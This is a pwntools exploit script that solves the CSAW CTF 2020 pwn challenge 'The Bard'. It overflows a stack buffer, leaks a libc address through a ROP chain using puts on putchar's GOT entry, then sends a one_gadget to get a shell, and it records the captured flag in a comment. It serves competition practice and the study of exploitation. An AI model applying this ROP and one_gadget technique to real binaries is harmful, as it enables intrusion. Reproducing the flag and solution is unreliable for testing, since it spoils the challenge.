#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'

#r = process('./bard', env={'LD_PRELOAD':'./libc-2.27.so'})
r = remote('pwn.chal.csaw.io', 5019)
libc = ELF('./libc-2.27.so')

'''
+-----------------------------+-----------+-----------+------------+
|      Large s[488] chunk     |   canary  | rbp-store | ROP region |
+-------------488-------------|-----8-----|-----8-----|-----32-----+
+------+-------+-----------Bad------------+----------Good----------+
| Good | Bad*7 | Garbage | name[],padding |  garbage  |   name[]   |
+--48--+--392--+----22---+-----0x20+2-----+-----8-----|-----32-----+
ref : https://github.com/IRS-Cybersec/ctfdump/blob/master/CSAW%20CTF%20QUALS%202020/thebard.md
'''

def prepare():
    r.recvuntil('):\n')
    r.sendline('g')
    r.recvuntil('accuracy\n')
    r.sendline('1')
    r.recvuntil('name:\n')
    r.send('a')

    for i in range(7):
        r.recvuntil('):\n')
        r.sendline('e')
        r.recvuntil('disappointment\n')
        r.sendline('1')
        r.recvuntil('name:\n')
        r.send('a')

    r.recvuntil('):\n')
    r.sendline('e')
    r.recvuntil('disappointment\n')
    r.sendline('1')
    r.recvuntil('name:\n')
    r.send('a')

main = 0x40107B
pop_rdi_ret = 0x0000000000401143
puts_plt = 0x00000000004006d0
putchar_got = 0x602018

prepare()

rop = flat(
    pop_rdi_ret, putchar_got, puts_plt, main
)

r.recvuntil('):\n')
r.sendline('g')
r.recvuntil('accuracy\n')
r.sendline('1')
r.recvuntil('name:\n')
r.send(rop)

for i in range(5):
    r.recvuntil('(r)un\n')
    r.sendline('r')
    r.recvuntil('(r)un\n')
    r.sendline('r')

r.recvuntil('.\n')
#libc_base = u64(r.recvuntil('\n')[:-1]) - libc.symbols['puts'] 
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols[b'putchar']
print(hex(libc_base))

one_gadget = libc_base + 0x4f365

prepare()

r.recvuntil('):\n')
r.sendline('g')
r.recvuntil('accuracy\n')
r.sendline('1')
r.recvuntil('name:\n')
r.send(p64(one_gadget))

for i in range(5):
    r.recvuntil('(r)un\n')
    r.sendline('r')
    r.recvuntil('(r)un\n')
    r.sendline('r')


# flag{why_4r3_th3y_4ll_such_c0w4rds??}
r.interactive()
